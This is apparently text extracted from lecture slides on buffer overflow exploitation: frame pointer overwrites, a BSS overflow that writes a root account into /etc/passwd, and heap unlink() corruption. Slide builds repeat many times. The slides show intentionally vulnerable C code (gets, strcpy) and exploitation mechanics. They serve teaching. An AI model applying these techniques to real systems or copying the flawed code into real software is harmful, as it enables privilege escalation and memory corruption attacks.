1. Generation: Stack-based Overflows2. Generation: Off-by-Ones and Frame Pointer Overwrites3. Generation: BSS Overflows4. Generation: Heap Overflows
Exploiting the Frame Pointer Overwrite
We cannot overwrite the RIP as it resides beyond the SFP.
But we can modify the environment of the higher stack frame,e.g. main():
→ By modifying the SFP we control %ebp.→ Control over %ebp gives us control over %esp.
leave and ret in main()
leave: movl %ebp,%esp
; esp := modified SFP (mSFP)
popl %ebpret: popl %eip
; eip := mSFP + 4
Matthias Vallentin On the Evolution of Buffer Overflows 66 / 146
IntroductionBuffer Overflows
Conclusion
1. Generation: Stack-based Overflows2. Generation: Off-by-Ones and Frame Pointer Overwrites3. Generation: BSS Overflows4. Generation: Heap Overflows
Exploiting the Frame Pointer Overwrite
We cannot overwrite the RIP as it resides beyond the SFP.
But we can modify the environment of the higher stack frame,e.g. main():
→ By modifying the SFP we control %ebp.→ Control over %ebp gives us control over %esp.
leave and ret in main()
leave: movl %ebp,%esp ; esp := modified SFP (mSFP)popl %ebp
ret: popl %eip
; eip := mSFP + 4
Matthias Vallentin On the Evolution of Buffer Overflows 67 / 146
IntroductionBuffer Overflows
Conclusion
1. Generation: Stack-based Overflows2. Generation: Off-by-Ones and Frame Pointer Overwrites3. Generation: BSS Overflows4. Generation: Heap Overflows
Exploiting the Frame Pointer Overwrite
We cannot overwrite the RIP as it resides beyond the SFP.
But we can modify the environment of the higher stack frame,e.g. main():
→ By modifying the SFP we control %ebp.→ Control over %ebp gives us control over %esp.
leave and ret in main()
leave: movl %ebp,%esp ; esp := modified SFP (mSFP)popl %ebp
ret: popl %eip
; eip := mSFP + 4
Matthias Vallentin On the Evolution of Buffer Overflows 68 / 146
IntroductionBuffer Overflows
Conclusion
1. Generation: Stack-based Overflows2. Generation: Off-by-Ones and Frame Pointer Overwrites3. Generation: BSS Overflows4. Generation: Heap Overflows
Exploiting the Frame Pointer Overwrite
We cannot overwrite the RIP as it resides beyond the SFP.
But we can modify the environment of the higher stack frame,e.g. main():
→ By modifying the SFP we control %ebp.→ Control over %ebp gives us control over %esp.
leave and ret in main()
leave: movl %ebp,%esp ; esp := modified SFP (mSFP)popl %ebp
ret: popl %eip ; eip := mSFP + 4
Matthias Vallentin On the Evolution of Buffer Overflows 69 / 146
IntroductionBuffer Overflows
Conclusion
1. Generation: Stack-based Overflows2. Generation: Off-by-Ones and Frame Pointer Overwrites3. Generation: BSS Overflows4. Generation: Heap Overflows
The Exploitation Technique [Phr55-8]
rip
sfp
bufmain()
foo()
payload addr
shellcode
NOPs
espebpeip
01baf230cd8ae8320b020242
0xbffffe40
0xbffffe3c
0xbffffe38
0xbffffe44
0xbffffe48
0xbffffe4c ofp
sfp = ofp =0xbffffe4c
Matthias Vallentin On the Evolution of Buffer Overflows 70 / 146
IntroductionBuffer Overflows
Conclusion
1. Generation: Stack-based Overflows2. Generation: Off-by-Ones and Frame Pointer Overwrites3. Generation: BSS Overflows4. Generation: Heap Overflows
The Exploitation Technique [Phr55-8]
rip
sfp
bufmain()
foo()
payload addr
shellcode
NOPs
espebpeip
01baf230cd8ae8320b020242
0xbffffe40
0xbffffe3c
0xbffffe38
0xbffffe44
0xbffffe48
0xbffffe4c ofp
38
sfp = ebp-8
-8
Matthias Vallentin On the Evolution of Buffer Overflows 71 / 146
IntroductionBuffer Overflows
Conclusion
1. Generation: Stack-based Overflows2. Generation: Off-by-Ones and Frame Pointer Overwrites3. Generation: BSS Overflows4. Generation: Heap Overflows
The Exploitation Technique [Phr55-8]
rip
sfp
bufmain()
foo()
payload addr
shellcode
NOPs
espebpeip
01baf230cd8ae8320b020242
leave: (foo) movl %ebp,%esp popl %ebpret: popl %eip
0xbffffe40
0xbffffe3c
0xbffffe38
0xbffffe44
0xbffffe48
0xbffffe4c ofp
38
Matthias Vallentin On the Evolution of Buffer Overflows 72 / 146
IntroductionBuffer Overflows
Conclusion
1. Generation: Stack-based Overflows2. Generation: Off-by-Ones and Frame Pointer Overwrites3. Generation: BSS Overflows4. Generation: Heap Overflows
The Exploitation Technique [Phr55-8]
rip
sfp
bufmain()
foo()
payload addr
shellcode
NOPs
espebpeip
01baf230cd8ae8320b020242
leave: (foo) movl %ebp,%esp popl %ebpret: popl %eip
0xbffffe40
0xbffffe3c
0xbffffe38
0xbffffe44
0xbffffe48
0xbffffe4c ofp
38
ebp = m.sfpofp != ebp
Matthias Vallentin On the Evolution of Buffer Overflows 73 / 146
IntroductionBuffer Overflows
Conclusion
1. Generation: Stack-based Overflows2. Generation: Off-by-Ones and Frame Pointer Overwrites3. Generation: BSS Overflows4. Generation: Heap Overflows
The Exploitation Technique [Phr55-8]
rip
sfp
bufmain()
foo()
payload addr
shellcode
NOPs
espebpeip
01baf230cd8ae8320b020242
leave: (foo) movl %ebp,%esp popl %ebpret: popl %eip
0xbffffe40
0xbffffe3c
0xbffffe38
0xbffffe44
0xbffffe48
0xbffffe4c
38
eip = rip
Matthias Vallentin On the Evolution of Buffer Overflows 74 / 146
IntroductionBuffer Overflows
Conclusion
1. Generation: Stack-based Overflows2. Generation: Off-by-Ones and Frame Pointer Overwrites3. Generation: BSS Overflows4. Generation: Heap Overflows
The Exploitation Technique [Phr55-8]
rip
sfp
bufmain()
foo()
payload addr
shellcode
NOPs
espebpeip
01baf230cd8ae8320b020242
leave: (main) movl %ebp,%esp popl %ebpret: popl %eip
0xbffffe40
0xbffffe3c
0xbffffe38
0xbffffe44
0xbffffe48
0xbffffe4c
38
Matthias Vallentin On the Evolution of Buffer Overflows 75 / 146
IntroductionBuffer Overflows
Conclusion
1. Generation: Stack-based Overflows2. Generation: Off-by-Ones and Frame Pointer Overwrites3. Generation: BSS Overflows4. Generation: Heap Overflows
The Exploitation Technique [Phr55-8]
rip
sfp
bufmain()
foo()
payload addr
shellcode
NOPs
espebpeip
01baf230cd8ae8320b020242
leave: (main) movl %ebp,%esp popl %ebpret: popl %eip
0xbffffe40
0xbffffe3c
0xbffffe38
0xbffffe44
0xbffffe48
0xbffffe4c
38
Matthias Vallentin On the Evolution of Buffer Overflows 76 / 146
IntroductionBuffer Overflows
Conclusion
1. Generation: Stack-based Overflows2. Generation: Off-by-Ones and Frame Pointer Overwrites3. Generation: BSS Overflows4. Generation: Heap Overflows
The Exploitation Technique [Phr55-8]
rip
sfp
bufmain()
foo()
payload addr
shellcode
NOPs
espebpeip
01baf230cd8ae8320b020242
leave: (main) movl %ebp,%esp popl %ebpret: popl %eip
0xbffffe40
0xbffffe3c
0xbffffe38
0xbffffe44
0xbffffe48
0xbffffe4c
38
Matthias Vallentin On the Evolution of Buffer Overflows 77 / 146
IntroductionBuffer Overflows
Conclusion
1. Generation: Stack-based Overflows2. Generation: Off-by-Ones and Frame Pointer Overwrites3. Generation: BSS Overflows4. Generation: Heap Overflows
The Exploitation Technique [Phr55-8]
rip
sfp
bufmain()
foo()
payload addr
shellcode
NOPs
espebpeip
01baf230cd8ae8320b020242
leave: (main) movl %ebp,%esp popl %ebpret: popl %eip
0xbffffe40
0xbffffe3c
0xbffffe38
0xbffffe44
0xbffffe48
0xbffffe4c
38
eip = payload addr
Matthias Vallentin On the Evolution of Buffer Overflows 78 / 146
IntroductionBuffer Overflows
Conclusion
1. Generation: Stack-based Overflows2. Generation: Off-by-Ones and Frame Pointer Overwrites3. Generation: BSS Overflows4. Generation: Heap Overflows
The Exploitation Technique [Phr55-8]
rip
sfp
bufmain()
foo()
payload addr
shellcode
NOPs
espebpeip
01baf230cd8ae8320b020242
leave: (main) movl %ebp,%esp popl %ebpret: popl %eip
0xbffffe40
0xbffffe3c
0xbffffe38
0xbffffe44
0xbffffe48
0xbffffe4c
38
sh-2.05b$
Matthias Vallentin On the Evolution of Buffer Overflows 79 / 146
IntroductionBuffer Overflows
Conclusion
1. Generation: Stack-based Overflows2. Generation: Off-by-Ones and Frame Pointer Overwrites3. Generation: BSS Overflows4. Generation: Heap Overflows
Outline
1 IntroductionMotivationUnderstanding Function Calls
2 Buffer Overflows1. Generation: Stack-based Overflows2. Generation: Off-by-Ones and Frame Pointer Overwrites3. Generation: BSS Overflows4. Generation: Heap Overflows
3 Conclusion
Matthias Vallentin On the Evolution of Buffer Overflows 80 / 146
IntroductionBuffer Overflows
Conclusion
1. Generation: Stack-based Overflows2. Generation: Off-by-Ones and Frame Pointer Overwrites3. Generation: BSS Overflows4. Generation: Heap Overflows
Process Layout in Memory
Stackgrows towards decreasingaddresses.is initialized at run-time.
Heap and BSS sections
grow towards increasingaddresses.are initialized at run-time.
Data section
is initialized at compile-time.
Text section
holds the program instructions(read-only).
Stack
Heap
BSS
Data
Text
dynamicgrowth
0xc0000000
0x08048000
high address
low address
Matthias Vallentin On the Evolution of Buffer Overflows 81 / 146
IntroductionBuffer Overflows
Conclusion
1. Generation: Stack-based Overflows2. Generation: Off-by-Ones and Frame Pointer Overwrites3. Generation: BSS Overflows4. Generation: Heap Overflows
Process Layout in Memory
Stackgrows towards decreasingaddresses.is initialized at run-time.
Heap and BSS sections
grow towards increasingaddresses.are initialized at run-time.
Data section
is initialized at compile-time.
Text section
holds the program instructions(read-only).
Stack
Heap
BSS
Data
Text
dynamicgrowth
0xc0000000
0x08048000
high address
low address
uninitialized variablesinitialized variables
Matthias Vallentin On the Evolution of Buffer Overflows 82 / 146
IntroductionBuffer Overflows
Conclusion
1. Generation: Stack-based Overflows2. Generation: Off-by-Ones and Frame Pointer Overwrites3. Generation: BSS Overflows4. Generation: Heap Overflows
BSS Overflow [w00w00]
*tmpfile
buf
int main(int argc, char *argv[]){ FILE *tmpfd; static char buf[24]; static char *tmpfile;
tmpfile = "/tmp/file"; gets(buf); fputs(buf, tmpfd); ...}
"/tmp/file"
BSS
Data
argv[1]Stack
buf
buf:
Matthias Vallentin On the Evolution of Buffer Overflows 83 / 146
IntroductionBuffer Overflows
Conclusion
1. Generation: Stack-based Overflows2. Generation: Off-by-Ones and Frame Pointer Overwrites3. Generation: BSS Overflows4. Generation: Heap Overflows
BSS Overflow [w00w00]
*tmpfile
buf
"/tmp/file"
BSS
Data
"/etc/passwd"
ruth::0:0::/:/bin/sh #
B B
Stack
buf:
int main(int argc, char *argv[]){ FILE *tmpfd; static char buf[24]; static char *tmpfile;
tmpfile = "/tmp/file"; gets(buf); fputs(buf, tmpfd); ...}
Matthias Vallentin On the Evolution of Buffer Overflows 84 / 146
IntroductionBuffer Overflows
Conclusion
1. Generation: Stack-based Overflows2. Generation: Off-by-Ones and Frame Pointer Overwrites3. Generation: BSS Overflows4. Generation: Heap Overflows
BSS Overflows
Unlike the stack, the BSS segment has no sensitivemanagement information to overwrite.
→ But pointers can be everywhere!
Switching to pointer subterfuge:
Function-pointer overwritesData-pointer manipulationException-handler hijackingVPTR smashing...
Matthias Vallentin On the Evolution of Buffer Overflows 85 / 146
IntroductionBuffer Overflows
Conclusion
1. Generation: Stack-based Overflows2. Generation: Off-by-Ones and Frame Pointer Overwrites3. Generation: BSS Overflows4. Generation: Heap Overflows
Outline
1 IntroductionMotivationUnderstanding Function Calls
2 Buffer Overflows1. Generation: Stack-based Overflows2. Generation: Off-by-Ones and Frame Pointer Overwrites3. Generation: BSS Overflows4. Generation: Heap Overflows
3 Conclusion
Matthias Vallentin On the Evolution of Buffer Overflows 86 / 146
IntroductionBuffer Overflows
Conclusion
1. Generation: Stack-based Overflows2. Generation: Off-by-Ones and Frame Pointer Overwrites3. Generation: BSS Overflows4. Generation: Heap Overflows
The Heap
The heap is ”[...] a pool of memory available for the allocationand deallocation of arbitrary-sized blocks of memory in arbitraryorder.” [WJN+95]
ANSI-C functions malloc() and friends are used to managethe heap (glibc uses ptmalloc).
Heap memory is organized in chunks that can be allocated,freed, merged, etc.
Boundary Tags contain meta information about chunks (size,previous/next pointer, etc.)
stored both in the front and end of each chunk.→ makes consolidating fragmented chunks into bigger chunks
very fast.
Matthias Vallentin On the Evolution of Buffer Overflows 87 / 146
IntroductionBuffer Overflows
Conclusion
1. Generation: Stack-based Overflows2. Generation: Off-by-Ones and Frame Pointer Overwrites3. Generation: BSS Overflows4. Generation: Heap Overflows
The Heap
The heap is ”[...] a pool of memory available for the allocationand deallocation of arbitrary-sized blocks of memory in arbitraryorder.” [WJN+95]
ANSI-C functions malloc() and friends are used to managethe heap (glibc uses ptmalloc).
Heap memory is organized in chunks that can be allocated,freed, merged, etc.
Boundary Tags contain meta information about chunks (size,previous/next pointer, etc.)
stored both in the front and end of each chunk.→ makes consolidating fragmented chunks into bigger chunks
very fast.
Matthias Vallentin On the Evolution of Buffer Overflows 88 / 146
IntroductionBuffer Overflows
Conclusion
1. Generation: Stack-based Overflows2. Generation: Off-by-Ones and Frame Pointer Overwrites3. Generation: BSS Overflows4. Generation: Heap Overflows
The Heap
The heap is ”[...] a pool of memory available for the allocationand deallocation of arbitrary-sized blocks of memory in arbitraryorder.” [WJN+95]
ANSI-C functions malloc() and friends are used to managethe heap (glibc uses ptmalloc).
Heap memory is organized in chunks that can be allocated,freed, merged, etc.
Boundary Tags contain meta information about chunks (size,previous/next pointer, etc.)
stored both in the front and end of each chunk.→ makes consolidating fragmented chunks into bigger chunks
very fast.
Matthias Vallentin On the Evolution of Buffer Overflows 89 / 146
IntroductionBuffer Overflows
Conclusion
1. Generation: Stack-based Overflows2. Generation: Off-by-Ones and Frame Pointer Overwrites3. Generation: BSS Overflows4. Generation: Heap Overflows
The Heap
The heap is ”[...] a pool of memory available for the allocationand deallocation of arbitrary-sized blocks of memory in arbitraryorder.” [WJN+95]
ANSI-C functions malloc() and friends are used to managethe heap (glibc uses ptmalloc).
Heap memory is organized in chunks that can be allocated,freed, merged, etc.
Boundary Tags contain meta information about chunks (size,previous/next pointer, etc.)
stored both in the front and end of each chunk.→ makes consolidating fragmented chunks into bigger chunks
very fast.
Matthias Vallentin On the Evolution of Buffer Overflows 90 / 146
IntroductionBuffer Overflows
Conclusion
1. Generation: Stack-based Overflows2. Generation: Off-by-Ones and Frame Pointer Overwrites3. Generation: BSS Overflows4. Generation: Heap Overflows
Chunks in Memory
allocated chunk
wilderness chunk
high
add
ress
es
allocated chunk
free chunk
allocated chunk
free chunk
allocated chunk
heap
gro
wing
dir
ecti
on
Matthias Vallentin On the Evolution of Buffer Overflows 91 / 146
IntroductionBuffer Overflows
Conclusion
1. Generation: Stack-based Overflows2. Generation: Off-by-Ones and Frame Pointer Overwrites3. Generation: BSS Overflows4. Generation: Heap Overflows
Understanding Heap Management
Boundary Tags
prev size: size of previous chunk (if free).
size: size in bytes, including overhead.
PREV INUSE: Status bit; set if previous chunk is allocated.
fd/bk: forward/backward pointer for double links (if free).
prev_size
size
fd
PREV_INUSE
bk
data
chunk
mem
nextchunk
4
4
4
4
>= 0
free chunk
Managing Free Chunks
Free chunks of similar sizeare grouped into bins.
fd/bk pointers to navigatethrough double links.
prev_size
size
fd
PREV_INUSE
bk
data
chunk
mem
nextchunk
data
allocated chunk
data from previous chunk
4
4
4
4
>= 0
Matthias Vallentin On the Evolution of Buffer Overflows 92 / 146
IntroductionBuffer Overflows
Conclusion
1. Generation: Stack-based Overflows2. Generation: Off-by-Ones and Frame Pointer Overwrites3. Generation: BSS Overflows4. Generation: Heap Overflows
Understanding Heap Management
Boundary Tags
prev size: size of previous chunk (if free).
size: size in bytes, including overhead.
PREV INUSE: Status bit; set if previous chunk is allocated.
fd/bk: forward/backward pointer for double links (if free).
prev_size
size
fd
PREV_INUSE
bk
data
chunk
mem
nextchunk
4
4
4
4
>= 0
free chunk
Managing Free Chunks
Free chunks of similar sizeare grouped into bins.
fd/bk pointers to navigatethrough double links.
prev_size
size
fd
PREV_INUSE
bk
data
chunk
mem
nextchunk
data
allocated chunk
data from previous chunk
4
4
4
4
>= 0
Matthias Vallentin On the Evolution of Buffer Overflows 93 / 146
IntroductionBuffer Overflows
Conclusion
1. Generation: Stack-based Overflows2. Generation: Off-by-Ones and Frame Pointer Overwrites3. Generation: BSS Overflows4. Generation: Heap Overflows
Understanding Heap Management
Boundary Tags
prev size: size of previous chunk (if free).
size: size in bytes, including overhead.
PREV INUSE: Status bit; set if previous chunk is allocated.
fd/bk: forward/backward pointer for double links (if free).
Managing Free Chunks
Free chunks of similar sizeare grouped into bins.
fd/bk pointers to navigatethrough double links.
Chunk
Bin
Chunk
Chunk
fdbk bk
fd
bkfd
bkfd
Matthias Vallentin On the Evolution of Buffer Overflows 94 / 146
IntroductionBuffer Overflows
Conclusion
1. Generation: Stack-based Overflows2. Generation: Off-by-Ones and Frame Pointer Overwrites3. Generation: BSS Overflows4. Generation: Heap Overflows
Removing Chunks from a Bin: unlink()
#define unlink(P, BK, FD){
BK = P->bk;FD = P->fd;FD->bk = BK;BK->fd = FD;
}
prev_size
size
fd
PREV_INUSE
bk
data
prev_size
size
fd
PREV_INUSE
bk
data
prev_size
size
fd
PREV_INUSE
bk
data
high
add
ress
es
Matthias Vallentin On the Evolution of Buffer Overflows 95 / 146
IntroductionBuffer Overflows
Conclusion
1. Generation: Stack-based Overflows2. Generation: Off-by-Ones and Frame Pointer Overwrites3. Generation: BSS Overflows4. Generation: Heap Overflows
Removing Chunks from a Bin: unlink()
#define unlink(P, BK, FD){
BK = P->bk;FD = P->fd;FD->bk = BK;BK->fd = FD;
}
prev_size
size
fd
PREV_INUSE
bk
data
prev_size
size
fd
PREV_INUSE
bk
data
prev_size
size
fd
PREV_INUSE
bk
data
high
add
ress
es
Matthias Vallentin On the Evolution of Buffer Overflows 96 / 146
IntroductionBuffer Overflows
Conclusion
1. Generation: Stack-based Overflows2. Generation: Off-by-Ones and Frame Pointer Overwrites3. Generation: BSS Overflows4. Generation: Heap Overflows
Removing Chunks from a Bin: unlink()
#define unlink(P, BK, FD){
BK = P->bk;FD = P->fd;FD->bk = BK;BK->fd = FD;
}
prev_size
size
fd
PREV_INUSE
bk
data
prev_size
size
fd
PREV_INUSE
bk
data
prev_size
size
fd
PREV_INUSE
bk
data
high
add
ress
es
Matthias Vallentin On the Evolution of Buffer Overflows 97 / 146
IntroductionBuffer Overflows
Conclusion
1. Generation: Stack-based Overflows2. Generation: Off-by-Ones and Frame Pointer Overwrites3. Generation: BSS Overflows4. Generation: Heap Overflows
Removing Chunks from a Bin: unlink()
#define unlink(P, BK, FD){
BK = P->bk;FD = P->fd;FD->bk = BK;BK->fd = FD;
}
prev_size
size
fd
PREV_INUSE
bk
data
prev_size
size
fd
PREV_INUSE
bk
data
prev_size
size
fd
PREV_INUSE
bk
data
high
add
ress
es
Matthias Vallentin On the Evolution of Buffer Overflows 98 / 146
IntroductionBuffer Overflows
Conclusion
1. Generation: Stack-based Overflows2. Generation: Off-by-Ones and Frame Pointer Overwrites3. Generation: BSS Overflows4. Generation: Heap Overflows
Removing Chunks from a Bin: unlink()
#define unlink(P, BK, FD){
BK = P->bk;FD = P->fd;FD->bk = BK;BK->fd = FD;
}
FD + 12 = BK
prev_size
size
fd
PREV_INUSE
bk
data
prev_size
size
fd
PREV_INUSE
bk
data
prev_size
size
fd
PREV_INUSE
bk
data
high
add
ress
es
+12
Matthias Vallentin On the Evolution of Buffer Overflows 99 / 146
IntroductionBuffer Overflows
Conclusion
1. Generation: Stack-based Overflows2. Generation: Off-by-Ones and Frame Pointer Overwrites3. Generation: BSS Overflows4. Generation: Heap Overflows
Removing Chunks from a Bin: unlink()
#define unlink(P, BK, FD){
BK = P->bk;FD = P->fd;FD->bk = BK;BK->fd = FD;
}
prev_size
size
fd
PREV_INUSE
bk
data
prev_size
size
fd
PREV_INUSE
bk
data
prev_size
size
fd
PREV_INUSE
bk
data
high
add
ress
es
Matthias Vallentin On the Evolution of Buffer Overflows 100 / 146
IntroductionBuffer Overflows
Conclusion
1. Generation: Stack-based Overflows2. Generation: Off-by-Ones and Frame Pointer Overwrites3. Generation: BSS Overflows4. Generation: Heap Overflows
Removing Chunks from a Bin: unlink()
#define unlink(P, BK, FD){
BK = P->bk;FD = P->fd;FD->bk = BK;BK->fd = FD;
}
prev_size
size
fd
PREV_INUSE
bk
data
prev_size
size
fd
PREV_INUSE
bk
data
prev_size
size
fd
PREV_INUSE
bk
data
high
add
ress
es
Matthias Vallentin On the Evolution of Buffer Overflows 101 / 146
IntroductionBuffer Overflows
Conclusion
1. Generation: Stack-based Overflows2. Generation: Off-by-Ones and Frame Pointer Overwrites3. Generation: BSS Overflows4. Generation: Heap Overflows
unlink() Vulnerability
...char *buf1 = malloc(0);char *buf2 = malloc(0);char *buf3 = malloc(0);...gets(buf2);...free(buf1);free(buf2);...
buf1-3 are separated by theirboundary tags (prev size and size).
Similar to the stack, we canoverwrite internal managementinformation.
Idea: manipulate fd/bk fields ofbuf2, then call unlink() on themodified chunk
by modifying the PREV INUSEbit of buf3
⇒ Arbitrary memory modificationpossible.
Matthias Vallentin On the Evolution of Buffer Overflows 102 / 146
IntroductionBuffer Overflows
Conclusion
1. Generation: Stack-based Overflows2. Generation: Off-by-Ones and Frame Pointer Overwrites3. Generation: BSS Overflows4. Generation: Heap Overflows
unlink() Vulnerability
...char *buf1 = malloc(0);char *buf2 = malloc(0);char *buf3 = malloc(0);...gets(buf2);...free(buf1);free(buf2);...
buf1-3 are separated by theirboundary tags (prev size and size).
Similar to the stack, we canoverwrite internal managementinformation.
Idea: manipulate fd/bk fields ofbuf2, then call unlink() on themodified chunk
by modifying the PREV INUSEbit of buf3
⇒ Arbitrary memory modificationpossible.
Matthias Vallentin On the Evolution of Buffer Overflows 103 / 146
IntroductionBuffer Overflows
Conclusion
1. Generation: Stack-based Overflows2. Generation: Off-by-Ones and Frame Pointer Overwrites3. Generation: BSS Overflows4. Generation: Heap Overflows
unlink() Vulnerability
...char *buf1 = malloc(0);char *buf2 = malloc(0);char *buf3 = malloc(0);...gets(buf2);...free(buf1);free(buf2);...
buf1-3 are separated by theirboundary tags (prev size and size).
Similar to the stack, we canoverwrite internal managementinformation.
Idea: manipulate fd/bk fields ofbuf2, then call unlink() on themodified chunk
by modifying the PREV INUSEbit of buf3
⇒ Arbitrary memory modificationpossible.
Matthias Vallentin On the Evolution of Buffer Overflows 104 / 146
IntroductionBuffer Overflows
Conclusion
1. Generation: Stack-based Overflows2. Generation: Off-by-Ones and Frame Pointer Overwrites3. Generation: BSS Overflows4. Generation: Heap Overflows
unlink() Vulnerability
...char *buf1 = malloc(0);char *buf2 = malloc(0);char *buf3 = malloc(0);...gets(buf2);...free(buf1);free(buf2);...
buf1-3 are separated by theirboundary tags (prev size and size).
Similar to the stack, we canoverwrite internal managementinformation.
Idea: manipulate fd/bk fields ofbuf2, then call unlink() on themodified chunk
by modifying the PREV INUSEbit of buf3
⇒ Arbitrary memory modificationpossible.
Matthias Vallentin On the Evolution of Buffer Overflows 105 / 146
IntroductionBuffer Overflows
Conclusion
1. Generation: Stack-based Overflows2. Generation: Off-by-Ones and Frame Pointer Overwrites3. Generation: BSS Overflows4. Generation: Heap Overflows
unlink() Vulnerability
...char *buf1 = malloc(0);char *buf2 = malloc(0);char *buf3 = malloc(0);...gets(buf2);...free(buf1);free(buf2);...
buf1-3 are separated by theirboundary tags (prev size and size).
Similar to the stack, we canoverwrite internal managementinformation.
Idea: manipulate fd/bk fields ofbuf2, then call unlink() on themodified chunk
by modifying the PREV INUSEbit of buf3
⇒ Arbitrary memory modificationpossible.
Matthias Vallentin On the Evolution of Buffer Overflows 106 / 146
IntroductionBuffer Overflows
Conclusion
1. Generation: Stack-based Overflows2. Generation: Off-by-Ones and Frame Pointer Overwrites3. Generation: BSS Overflows4. Generation: Heap Overflows
unlink() Vulnerability (cont’d)
free()
1 When free() is called, it looks at the next chunk to seewhether it is in use or not.
2 If the next chunk is unused, unlink() is called to merge itwith the chunk being freed.
→ Evaluation of the PREV INUSE bit of the third chunk.
Matthias Vallentin On the Evolution of Buffer Overflows 107 / 146
IntroductionBuffer Overflows
Conclusion
1. Generation: Stack-based Overflows2. Generation: Off-by-Ones and Frame Pointer Overwrites3. Generation: BSS Overflows4. Generation: Heap Overflows
unlink() Vulnerability (cont’d)
free()
1 When free() is called, it looks at the next chunk to seewhether it is in use or not.
2 If the next chunk is unused, unlink() is called to merge itwith the chunk being freed.
→ Evaluation of the PREV INUSE bit of the third chunk.
Matthias Vallentin On the Evolution of Buffer Overflows 108 / 146
IntroductionBuffer Overflows
Conclusion
1. Generation: Stack-based Overflows2. Generation: Off-by-Ones and Frame Pointer Overwrites3. Generation: BSS Overflows4. Generation: Heap Overflows
unlink() Vulnerability (cont’d)
free()
1 When free() is called, it looks at the next chunk to seewhether it is in use or not.
2 If the next chunk is unused, unlink() is called to merge itwith the chunk being freed.
→ Evaluation of the PREV INUSE bit of the third chunk.
Matthias Vallentin On the Evolution of Buffer Overflows 109 / 146
IntroductionBuffer Overflows
Conclusion
1. Generation: Stack-based Overflows2. Generation: Off-by-Ones and Frame Pointer Overwrites3. Generation: BSS Overflows4. Generation: Heap Overflows
unlink() Vulnerability (cont’d)
Vulnerable Code...char *buf1 = malloc(0);char *buf2 = malloc(0);char *buf3 = malloc(0);...strcpy(buf2,"123456789012");...free(buf1);free(buf2);...
prev_size
size
fd
PREV_INUSE
bk
prev_size
size
fd
PREV_INUSE
bk
prev_size
size
fd
PREV_INUSE
bk
buf1
high
add
ress
es
buf2
buf3
Matthias Vallentin On the Evolution of Buffer Overflows 110 / 146
IntroductionBuffer Overflows
Conclusion
1. Generation: Stack-based Overflows2. Generation: Off-by-Ones and Frame Pointer Overwrites3. Generation: BSS Overflows4. Generation: Heap Overflows
unlink() Vulnerability (cont’d)
Vulnerable Code...char *buf1 = malloc(0);char *buf2 = malloc(0);char *buf3 = malloc(0);...strcpy(buf2,"123456789012");...free(buf1);free(buf2);...
prev_size
size
fd
PREV_INUSE
bk
prev_size
size PREV_INUSE
size
fd
bk
buf1
buf2
buf3
34 33 32 31
38 37 36 35
32 31 30 39
\0
high
add
ress
es
Matthias Vallentin On the Evolution of Buffer Overflows 111 / 146
IntroductionBuffer Overflows
Conclusion
1. Generation: Stack-based Overflows2. Generation: Off-by-Ones and Frame Pointer Overwrites3. Generation: BSS Overflows4. Generation: Heap Overflows
unlink() Vulnerability (cont’d)
Vulnerable Code...char *buf1 = malloc(0);char *buf2 = malloc(0);char *buf3 = malloc(0);...strcpy(buf2,"123456789012");...free(buf1);free(buf2);...
prev_size
size
fd
PREV_INUSE
bk
prev_size
size PREV_INUSE
size
fd
bk
buf1
buf2
buf3
34 33 32 31
38 37 36 35
32 31 30 39
\0
high
add
ress
es
Matthias Vallentin On the Evolution of Buffer Overflows 112 / 146
IntroductionBuffer Overflows
Conclusion
1. Generation: Stack-based Overflows2. Generation: Off-by-Ones and Frame Pointer Overwrites3. Generation: BSS Overflows4. Generation: Heap Overflows
unlink() Vulnerability (cont’d)
Vulnerable Code
1 free(buf1) looks atPREV INUSE of chunk #3.
2 unlink() on chunk #2.3 P->fd->bk = P->bk
→ P->fd = 0x34333231→ P->bk = 0x38373635
⇒ Segmentation fault at0x34333231 + 12
prev_size
size
fd
PREV_INUSE
bk
prev_size
size PREV_INUSE
size
fd
bk
buf1
buf2
buf3
34 33 32 31
38 37 36 35
32 31 30 39
\0
high
add
ress
es
Matthias Vallentin On the Evolution of Buffer Overflows 113 / 146
IntroductionBuffer Overflows
Conclusion
1. Generation: Stack-based Overflows2. Generation: Off-by-Ones and Frame Pointer Overwrites3. Generation: BSS Overflows4. Generation: Heap Overflows
unlink() Vulnerability (cont’d)
Vulnerable Code
1 free(buf1) looks atPREV INUSE of chunk #3.
2 unlink() on chunk #2.
3 P->fd->bk = P->bk
→ P->fd = 0x34333231→ P->bk = 0x38373635
⇒ Segmentation fault at0x34333231 + 12
prev_size
size
fd
PREV_INUSE
bk
prev_size
size PREV_INUSE
size
fd
bk
buf1
buf2
buf3
34 33 32 31
38 37 36 35
32 31 30 39
\0
high
add
ress
es
Matthias Vallentin On the Evolution of Buffer Overflows 114 / 146
IntroductionBuffer Overflows
Conclusion
1. Generation: Stack-based Overflows2. Generation: Off-by-Ones and Frame Pointer Overwrites3. Generation: BSS Overflows4. Generation: Heap Overflows
unlink() Vulnerability (cont’d)
Vulnerable Code
1 free(buf1) looks atPREV INUSE of chunk #3.
2 unlink() on chunk #2.3 P->fd->bk = P->bk
→ P->fd = 0x34333231→ P->bk = 0x38373635
⇒ Segmentation fault at0x34333231 + 12
prev_size
size
fd
PREV_INUSE
bk
prev_size
size PREV_INUSE
size
fd
bk
buf1
buf2
buf3
34 33 32 31
38 37 36 35
32 31 30 39
\0
high
add
ress
es
Matthias Vallentin On the Evolution of Buffer Overflows 115 / 146
IntroductionBuffer Overflows
Conclusion
1. Generation: Stack-based Overflows2. Generation: Off-by-Ones and Frame Pointer Overwrites3. Generation: BSS Overflows4. Generation: Heap Overflows
unlink() Vulnerability (cont’d)
Vulnerable Code
1 free(buf1) looks atPREV INUSE of chunk #3.
2 unlink() on chunk #2.3 P->fd->bk = P->bk
→ P->fd = 0x34333231
→ P->bk = 0x38373635
⇒ Segmentation fault at0x34333231 + 12
prev_size
size
fd
PREV_INUSE
bk
prev_size
size PREV_INUSE
size
fd
bk
buf1
buf2
buf3
34 33 32 31
38 37 36 35
32 31 30 39
\0
high
add
ress
es
Matthias Vallentin On the Evolution of Buffer Overflows 116 / 146
IntroductionBuffer Overflows
Conclusion
1. Generation: Stack-based Overflows2. Generation: Off-by-Ones and Frame Pointer Overwrites3. Generation: BSS Overflows4. Generation: Heap Overflows
unlink() Vulnerability (cont’d)
Vulnerable Code
1 free(buf1) looks atPREV INUSE of chunk #3.
2 unlink() on chunk #2.3 P->fd->bk = P->bk
→ P->fd = 0x34333231→ P->bk = 0x38373635
⇒ Segmentation fault at0x34333231 + 12
prev_size
size
fd
PREV_INUSE
bk
prev_size
size PREV_INUSE
size
fd
bk
buf1
buf2
buf3
